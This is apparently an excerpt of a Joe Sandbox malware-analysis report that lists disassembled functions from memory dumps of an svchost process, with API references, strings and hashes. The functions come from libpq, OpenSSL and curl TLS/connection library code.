Part of subcall function 00007FFDA3782D70: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA3782DB1
Part of subcall function 00007FFDA3782D70: libintl_dgettext.LIBINTL-9 ref: 00007FFDA3782DD2

Strings

could not translate Unix-domain socket path "%s" to address: %s, xrefs: 00007FFDA3773834
could not parse network address "%s": %s, xrefs: 00007FFDA3773895
%s/.s.PGSQL.%d, xrefs: 00007FFDA3773789
port, xrefs: 00007FFDA377488A
Unix-domain socket path "%s" is too long (maximum %d bytes), xrefs: 00007FFDA37737DC
server is not in hot standby mode, xrefs: 00007FFDA3773588, 00007FFDA3773B90
session is not read-only, xrefs: 00007FFDA377358F, 00007FFDA3773B97
invalid port number: "%s", xrefs: 00007FFDA377372B
28P01, xrefs: 00007FFDA377357A, 00007FFDA3773AD7
could not translate host name "%s" to address: %s, xrefs: 00007FFDA3773AF2
57P03, xrefs: 00007FFDA3773581, 00007FFDA3773ADE
invalid integer value "%s" for connection option "%s", xrefs: 00007FFDA3774894
invalid connection state %d, probably indicative of memory corruption, xrefs: 00007FFDA3774D8E
out of memory, xrefs: 00007FFDA37748A8

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: _errno$callocfreeisspacelibintl_dgettextmemcpymemsetstrtol
String ID: %s/.s.PGSQL.%d$28P01$57P03$Unix-domain socket path "%s" is too long (maximum %d bytes)$could not parse network address "%s": %s$could not translate Unix-domain socket path "%s" to address: %s$could not translate host name "%s" to address: %s$invalid connection state %d, probably indicative of memory corruption$invalid integer value "%s" for connection option "%s"$invalid port number: "%s"$out of memory$port$server is not in hot standby mode$session is not read-only
API String ID: 3976168012-2457897468
Opcode ID: c93c3c927744f5f9d2a6a3cae3ab13af74bb0be487adeff1de5b1b43d936940d
Instruction ID: 00dce510da0ec8c968f2f3f0f699c6cb4b14ace7bc6beb741b0ecbd25062646e
Opcode Fuzzy Hash: c93c3c927744f5f9d2a6a3cae3ab13af74bb0be487adeff1de5b1b43d936940d
Instruction Fuzzy Hash: D512CD22B0AA8686E7518F25D4603FC3762FB58B88F445231EE4E37396DF7AE185C744

Function 00007FFDA3397970 Relevance: 35.3, APIs: 18, Strings: 2, Instructions: 274
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ERR_clear_error.LIBCRYPTO-3-X64 ref: 00007FFDA33982FD
SetLastError.KERNEL32 ref: 00007FFDA3398304
BUF_MEM_free.LIBCRYPTO-3-X64 ref: 00007FFDA339853E
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3398609
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3398621
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA339863B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3398653
ERR_set_error.LIBCRYPTO-3-X64 ref: 00007FFDA3398664

Strings

state_machine, xrefs: 00007FFDA3398434, 00007FFDA3398507, 00007FFDA339860E, 00007FFDA3398640
ssl\statem\statem.c, xrefs: 00007FFDA339843B, 00007FFDA3398513, 00007FFDA339861A, 00007FFDA339864C

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_newR_set_debug$ErrorLastM_freeR_clear_errorR_set_error
String ID: ssl\statem\statem.c$state_machine
API String ID: 2605663294-1334640251
Opcode ID: 48b027c2e20d56dac79a9c5c64ffc6497de1d13581ba5d05f39c203f3311fe2a
Instruction ID: 897b49dc54704a9d47af2fc3963d678d8a223e08e7b90a77f093a1b088a2079a
Opcode Fuzzy Hash: 48b027c2e20d56dac79a9c5c64ffc6497de1d13581ba5d05f39c203f3311fe2a
Instruction Fuzzy Hash: 5AC19031B0EA42C6FB64BB25C4713B92296EF84B44F180835DA0D6A7C7DF7FE8458619

Function 00007FFDA55CD010 Relevance: 33.6, APIs: 9, Strings: 10, Instructions: 367encryptionCOMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CD098
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CD0C8
realloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CD0FB
malloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CD1B1
memmove.VCRUNTIME140 ref: 00007FFDA55CD24A
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CD2A8
memmove.VCRUNTIME140 ref: 00007FFDA55CD377

Part of subcall function 00007FFDA55B9B00: GetLastError.KERNEL32 ref: 00007FFDA55B9B29
Part of subcall function 00007FFDA55B9B00: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55B9B32

Part of subcall function 00007FFDA55CDE50: CertGetNameStringW.CRYPT32 ref: 00007FFDA55CDF40
Part of subcall function 00007FFDA55CDE50: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CE1B0
Part of subcall function 00007FFDA55CDE50: CertFreeCertificateContext.CRYPT32 ref: 00007FFDA55CE1F8

memset.VCRUNTIME140 ref: 00007FFDA55CD4A3
CertFreeCertificateContext.CRYPT32 ref: 00007FFDA55CD53A

Strings

schannel: SNI or certificate check failed: %s, xrefs: 00007FFDA55CD60B
schannel: next InitializeSecurityContext failed: %s, xrefs: 00007FFDA55CD5DF, 00007FFDA55CD621
schannel: unable to re-allocate memory, xrefs: 00007FFDA55CD106
schannel: %s, xrefs: 00007FFDA55CD5F5
schannel: failed to send next handshake data: sent %zd of %lu bytes, xrefs: 00007FFDA55CD3CA
schannel: Failed to read remote certificate context: %s, xrefs: 00007FFDA55CD521
SSL: public key does not match pinned public key, xrefs: 00007FFDA55CD4E8, 00007FFDA55CD548
schannel: unable to allocate memory, xrefs: 00007FFDA55CD65D
schannel: failed to receive handshake, SSL/TLS connection failed, xrefs: 00007FFDA55CD392
SSL: failed retrieving public key from server certificate, xrefs: 00007FFDA55CD4F9

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: Certmalloc$CertificateContextFreefreememmove$ErrorLastNameString_errnomemsetrealloc
String ID: SSL: failed retrieving public key from server certificate$SSL: public key does not match pinned public key$schannel: %s$schannel: Failed to read remote certificate context: %s$schannel: SNI or certificate check failed: %s$schannel: failed to receive handshake, SSL/TLS connection failed$schannel: failed to send next handshake data: sent %zd of %lu bytes$schannel: next InitializeSecurityContext failed: %s$schannel: unable to allocate memory$schannel: unable to re-allocate memory
API String ID: 726578228-413892695
Opcode ID: 1370aeb09722761c115d09812e566dbe39503a4e3c33be558194c66d30682ad3
Instruction ID: 262aed78e39b0fd3d9bd7c09d2254a5bcaff3adb8dada893c6076c82ffb88731
Opcode Fuzzy Hash: 1370aeb09722761c115d09812e566dbe39503a4e3c33be558194c66d30682ad3
Instruction Fuzzy Hash: 1A02937AB0A7CA86EB62CF15E4643A967A0FB46F84F404035DA4E87796DF7CE450CB04

Function 00007FFDA3788140 Relevance: 33.5, APIs: 8, Strings: 11, Instructions: 211networkCOMMON

Download Yara Rule

APIs

WSASetLastError.WS2_32 ref: 00007FFDA3789B0C
ERR_clear_error.LIBCRYPTO-3-X64 ref: 00007FFDA3789B12
WSAGetLastError.WS2_32 ref: 00007FFDA3789B2D
SSL_get_error.LIBSSL-3-X64 ref: 00007FFDA3789B3E
ERR_get_error.LIBCRYPTO-3-X64 ref: 00007FFDA3789B46

Part of subcall function 00007FFDA3788D70: TLS_method.LIBSSL-3-X64 ref: 00007FFDA3788E83
Part of subcall function 00007FFDA3788D70: SSL_CTX_new.LIBSSL-3-X64 ref: 00007FFDA3788E8B
Part of subcall function 00007FFDA3788D70: ERR_get_error.LIBCRYPTO-3-X64 ref: 00007FFDA3788E98
Part of subcall function 00007FFDA3788D70: free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3789810

Part of subcall function 00007FFDA3788180: X509_free.LIBCRYPTO-3-X64 ref: 00007FFDA37881D7
Part of subcall function 00007FFDA3788180: ENGINE_finish.LIBCRYPTO-3-X64 ref: 00007FFDA37881F3
Part of subcall function 00007FFDA3788180: ENGINE_free.LIBCRYPTO-3-X64 ref: 00007FFDA37881FF

Strings

SSL SYSCALL error: %s, xrefs: 00007FFDA3789C1D
SSL error: certificate verify failed: %s, xrefs: 00007FFDA3789BE1
SSL SYSCALL error: EOF detected, xrefs: 00007FFDA3789C3B
system, xrefs: 00007FFDA3789BAD
TLSv1.3, xrefs: 00007FFDA3789D10
certificate could not be obtained: %s, xrefs: 00007FFDA3789D75
out of memory allocating error description, xrefs: 00007FFDA3789C89, 00007FFDA3789D87
TLSv1, xrefs: 00007FFDA3789D1A
SSL error: %s, xrefs: 00007FFDA3789C77
This may indicate that the server does not support any SSL protocol version between %s and %s., xrefs: 00007FFDA3789D21
unrecognized SSL error code: %d, xrefs: 00007FFDA3789B73

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: ErrorLastR_get_error$E_finishE_freeL_get_errorR_clear_errorS_methodX509_freeX_newfree
String ID: SSL SYSCALL error: %s$SSL SYSCALL error: EOF detected$SSL error: %s$SSL error: certificate verify failed: %s$TLSv1$TLSv1.3$This may indicate that the server does not support any SSL protocol version between %s and %s.$certificate could not be obtained: %s$out of memory allocating error description$system$unrecognized SSL error code: %d
API String ID: 2649262036-2362506927
Opcode ID: 0f4d164b573ed57c619845cad48045907740d817cd1e58aedd085b45466e4b7a
Instruction ID: 474e28b7def8482defd8dea96d702a6131d2226ddf9f9b4d3b171a9dd7deab46
Opcode Fuzzy Hash: 0f4d164b573ed57c619845cad48045907740d817cd1e58aedd085b45466e4b7a
Instruction Fuzzy Hash: 6081BF21F0A64352FA99AB3594352B936C3AF46B86F080535D90F763D7EE2EE480835C

Function 00007FFDA55B9B00 Relevance: 29.9, APIs: 6, Strings: 11, Instructions: 118COMMON

Download Yara Rule

APIs

GetLastError.KERNEL32 ref: 00007FFDA55B9B29
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55B9B32

Strings

SEC_I_CONTINUE_NEEDED, xrefs: 00007FFDA55B9F6A
Unknown error, xrefs: 00007FFDA55B9FFE
%s (0x%08X) - %s, xrefs: 00007FFDA55B9BBD
CRYPT_E_NO_REVOCATION_DLL, xrefs: 00007FFDA55B9F5E
CRYPT_E_NOT_IN_REVOCATION_DATABASE, xrefs: 00007FFDA55B9F3A
%s (0x%08X), xrefs: 00007FFDA55BA02B
CRYPT_E_REVOKED, xrefs: 00007FFDA55B9EF0
SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log., xrefs: 00007FFDA55BA017
CRYPT_E_NO_REVOCATION_CHECK, xrefs: 00007FFDA55B9F52
No error, xrefs: 00007FFDA55B9F2E
CRYPT_E_REVOCATION_OFFLINE, xrefs: 00007FFDA55B9F46

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ErrorLast_errno
String ID: %s (0x%08X)$%s (0x%08X) - %s$CRYPT_E_NOT_IN_REVOCATION_DATABASE$CRYPT_E_NO_REVOCATION_CHECK$CRYPT_E_NO_REVOCATION_DLL$CRYPT_E_REVOCATION_OFFLINE$CRYPT_E_REVOKED$No error$SEC_E_ILLEGAL_MESSAGE (0x%08X) - This error usually occurs when a fatal SSL/TLS alert is received (e.g. handshake failed). More detail may be available in the Windows System event log.$SEC_I_CONTINUE_NEEDED$Unknown error
API String ID: 3939687465-2168394622
Opcode ID: feee24e5bed6a7ee7a67841cdcdd34cb7299311857997a203c2e954a48a94822
Instruction ID: ba4f6760bf99cc680141456d21f5fe94822fac61c24bc6d44181a852ad39880b
Opcode Fuzzy Hash: feee24e5bed6a7ee7a67841cdcdd34cb7299311857997a203c2e954a48a94822
Instruction Fuzzy Hash: F25182AEB0E54E85EE278F05E4A83B92661BF46FD4F9A0031D90D02393EF2CF555D208

Function 00007FFDA55CCB80 Relevance: 28.3, APIs: 5, Strings: 11, Instructions: 278libraryloaderCOMMON

Download Yara Rule

APIs

Part of subcall function 00007FFDA55C7DB0: GetModuleHandleA.KERNEL32 ref: 00007FFDA55C7DF6
Part of subcall function 00007FFDA55C7DB0: GetProcAddress.KERNEL32 ref: 00007FFDA55C7E06

GetModuleHandleW.KERNEL32 ref: 00007FFDA55CCC1B
GetProcAddress.KERNEL32 ref: 00007FFDA55CCC2B

Part of subcall function 00007FFDA55C7DB0: memset.VCRUNTIME140 ref: 00007FFDA55C7E80
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7EC1
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7ED3
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7EE5
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7EF7
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7F0C
Part of subcall function 00007FFDA55C7DB0: RtlVerifyVersionInfo.NTDLL ref: 00007FFDA55C7F2F
Part of subcall function 00007FFDA55C7DB0: VerSetConditionMask.KERNEL32 ref: 00007FFDA55C7F87
Part of subcall function 00007FFDA55C7DB0: RtlVerifyVersionInfo.NTDLL ref: 00007FFDA55C7FA6

memmove.VCRUNTIME140 ref: 00007FFDA55CCD7F

Part of subcall function 00007FFDA55CF5E0: memmove.VCRUNTIME140 ref: 00007FFDA55CF662

calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CCE44
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55CCED6

Part of subcall function 00007FFDA55B9B00: GetLastError.KERNEL32 ref: 00007FFDA55B9B29
Part of subcall function 00007FFDA55B9B00: _errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FFDA55B9B32

Strings

schannel: SNI or certificate check failed: %s, xrefs: 00007FFDA55CCF1D
schannel: using IP address, SNI is not supported by OS., xrefs: 00007FFDA55CCD22
ntdll, xrefs: 00007FFDA55CCC14
Error setting ALPN, xrefs: 00007FFDA55CCD57
schannel: initial InitializeSecurityContext failed: %s, xrefs: 00007FFDA55CCF07, 00007FFDA55CCF33
schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc., xrefs: 00007FFDA55CCBFF
schannel: unable to allocate memory, xrefs: 00007FFDA55CCE56
ALPN: curl offers %s, xrefs: 00007FFDA55CCDD9
wine_get_version, xrefs: 00007FFDA55CCC24
schannel: failed to send initial handshake data: sent %zd of %lu bytes, xrefs: 00007FFDA55CCFAD
schannel: this version of Windows is too old to support certificate verification via CA bundle file., xrefs: 00007FFDA55CCFC3

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: ConditionMask$AddressHandleInfoModuleProcVerifyVersionmemmove$ErrorLast_errnocallocfreememset
String ID: ALPN: curl offers %s$Error setting ALPN$ntdll$schannel: SNI or certificate check failed: %s$schannel: Windows version is old and may not be able to connect to some servers due to lack of SNI, algorithms, etc.$schannel: failed to send initial handshake data: sent %zd of %lu bytes$schannel: initial InitializeSecurityContext failed: %s$schannel: this version of Windows is too old to support certificate verification via CA bundle file.$schannel: unable to allocate memory$schannel: using IP address, SNI is not supported by OS.$wine_get_version
API String ID: 3185706071-3097429119
Opcode ID: a88905b97132a0f103da4ae54ce882051c2e5ca5273eef927e76702f8f95584c
Instruction ID: 2ecfd72b40392f3b3606a90d3fef53b6739a325a3782c4bf5ed78b20d071fdd3
Opcode Fuzzy Hash: a88905b97132a0f103da4ae54ce882051c2e5ca5273eef927e76702f8f95584c
Instruction Fuzzy Hash: D5C16A3AB0A74986EB12DF21E8603AE27A4FB46B88F404036DA5D07B57DF3CE555C708

Function 00007FFDA3389940 Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 297COMMON

Download Yara Rule

APIs

EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64 ref: 00007FFDA33899BC
EVP_CIPHER_CTX_get0_cipher.LIBCRYPTO-3-X64 ref: 00007FFDA33899CD
EVP_MD_get_size.LIBCRYPTO-3-X64 ref: 00007FFDA33899D5
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA33899E4
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA33899FC

Part of subcall function 00007FFDA3387530: ERR_vset_error.LIBCRYPTO-3-X64(?,?,00007FFDA3383310,?,00007FFDA3382C46), ref: 00007FFDA338755E

memset.VCRUNTIME140 ref: 00007FFDA3389A8F
COMP_compress_block.LIBCRYPTO-3-X64 ref: 00007FFDA3389B5C
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3389B82
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3389B9A
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3389C7B
ERR_set_debug.LIBCRYPTO-3-X64 ref: 00007FFDA3389C93
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3389D16
ERR_new.LIBCRYPTO-3-X64 ref: 00007FFDA3389D7B

Strings

tls_write_records_default, xrefs: 00007FFDA33899E9, 00007FFDA3389B87, 00007FFDA3389C80, 00007FFDA3389D1B, 00007FFDA3389D80
ssl\record\methods\tls_common.c, xrefs: 00007FFDA33899F5, 00007FFDA3389B93, 00007FFDA3389C8C

Memory Dump Source

Source File: 00000035.00000002.3362804085.00007FFDA3321000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FFDA3320000, based on PE: true

Associated: 00000035.00000002.3362784654.00007FFDA3320000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362856525.00007FFDA33B0000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362885902.00007FFDA33DD000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000035.00000002.3362912098.00007FFDA33E1000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3320000_svchost.jbxd

Similarity

API ID: R_new$R_set_debug$X_get0_cipher$D_get_sizeP_compress_blockR_vset_errormemset
String ID: ssl\record\methods\tls_common.c$tls_write_records_default
API String ID: 909859927-3970931601
Opcode ID: 1151bc5a76b257bebab38f2b3411b41006c6163fbd03b349323ada81ee6bbd9b
Instruction ID: 33c5a250ff4258ef3e482e52a3df49cb2dde3292d18d15bcdfedc12415163591
Opcode Fuzzy Hash: 1151bc5a76b257bebab38f2b3411b41006c6163fbd03b349323ada81ee6bbd9b
Instruction Fuzzy Hash: A9D15D32B0EF8282EB10AB56E4501E963A6FB85BC4F544032DE4E67B9ADF3ED155C704

Function 00007FFDA37763C0 Relevance: 19.3, APIs: 10, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

closesocket.WS2_32 ref: 00007FFDA37763EC
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377642D
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3776436
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA377646B
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3776474
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA3776492
FreeCredentialsHandle.SECUR32 ref: 00007FFDA37764AB
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37764B8
DeleteSecurityContext.SECUR32 ref: 00007FFDA37764D1
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA37764DE

Strings

show password_encryption, xrefs: 00007FFDA37763CF

Memory Dump Source

Source File: 00000035.00000002.3362954598.00007FFDA3771000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FFDA3770000, based on PE: true

Associated: 00000035.00000002.3362935112.00007FFDA3770000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3362982850.00007FFDA3798000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363010077.00007FFDA37BE000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000035.00000002.3363028789.00007FFDA37BF000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda3770000_svchost.jbxd

Similarity

API ID: free$ContextCredentialsDeleteFreeHandleSecurityclosesocket
String ID: show password_encryption
API String ID: 1081927107-3405507779
Opcode ID: 8946289a09cbcf4c43a48a737afeed1ce7ae3a0011d1cbfb3534ccd00b22f732
Instruction ID: 581b433942037c7f43b08aede69611a5a0501e8bc2aa1b82b7eecf6fe82e60df
Opcode Fuzzy Hash: 8946289a09cbcf4c43a48a737afeed1ce7ae3a0011d1cbfb3534ccd00b22f732
Instruction Fuzzy Hash: EF414E35B06B8192E69D8F21E5602B9B761FB48FA0F084735CB6D23795CF39F4A18308

Function 00007FFDA557BCC0 Relevance: 18.0, APIs: 1, Strings: 9, Instructions: 490COMMON

Download Yara Rule

Strings

Failed to connect to %s port %u after %lld ms: %s, xrefs: 00007FFDA557C3E1
%s trying next, xrefs: 00007FFDA557BF79
%s assess started=%d, result=%d, xrefs: 00007FFDA557C32C
%s done, xrefs: 00007FFDA557BF6B, 00007FFDA557C179, 00007FFDA557C2B8
all eyeballers failed, xrefs: 00007FFDA557C307
%s connect timeout after %lldms, move on!, xrefs: 00007FFDA557BDD7
%s starting (timeout=%lldms), xrefs: 00007FFDA557C1A7, 00007FFDA557C2CA
Connection timeout after %lld ms, xrefs: 00007FFDA557C435
%s connect -> %d, connected=%d, xrefs: 00007FFDA557BDFE

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: CounterPerformanceQuery
String ID: %s assess started=%d, result=%d$%s connect -> %d, connected=%d$%s connect timeout after %lldms, move on!$%s done$%s starting (timeout=%lldms)$%s trying next$Connection timeout after %lld ms$Failed to connect to %s port %u after %lld ms: %s$all eyeballers failed
API String ID: 2783962273-3359130258
Opcode ID: 5ec9e25f208905917076be8a858fe11dc98c1fedafb3a8959701a46d42f27656
Instruction ID: 96323609c65e5f075b90c33d837516779dec8c2ffc160bbd6e00444b05dcd493
Opcode Fuzzy Hash: 5ec9e25f208905917076be8a858fe11dc98c1fedafb3a8959701a46d42f27656
Instruction Fuzzy Hash: 3232BF26B0D68A8AFB168FB5D4103BC33A1BB06FA8F044635DE5D67786EF38A551C344

Function 00007FFDA55C4CC0 Relevance: 17.7, APIs: 5, Strings: 5, Instructions: 176stringCOMMON

Download Yara Rule

APIs

strncmp.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C4D04
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C4D68
_strdup.API-MS-WIN-CRT-STRING-L1-1-0 ref: 00007FFDA55C4E4D
calloc.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C4F49
free.API-MS-WIN-CRT-HEAP-L1-1-0 ref: 00007FFDA55C4F9F

Strings

Failed to resolve host '%s' with timeout after %lld ms, xrefs: 00007FFDA55C4EC9
Couldn't resolve proxy '%s', xrefs: 00007FFDA55C4DE2
localhost/, xrefs: 00007FFDA55C4CFD
Unix socket path too long: '%s', xrefs: 00007FFDA55C4F8D
Could not resolve host: %s, xrefs: 00007FFDA55C4F04

Memory Dump Source

Source File: 00000035.00000002.3363156384.00007FFDA5571000.00000020.00000001.01000000.0000000C.sdmp, Offset: 00007FFDA5570000, based on PE: true

Associated: 00000035.00000002.3363135598.00007FFDA5570000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363197904.00007FFDA55D7000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363222362.00007FFDA55F2000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363241939.00007FFDA55F3000.00000008.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363263205.00007FFDA55F4000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 00000035.00000002.3363284417.00007FFDA55F6000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_53_2_7ffda5570000_svchost.jbxd

Similarity

API ID: _strdup$callocfreestrncmp
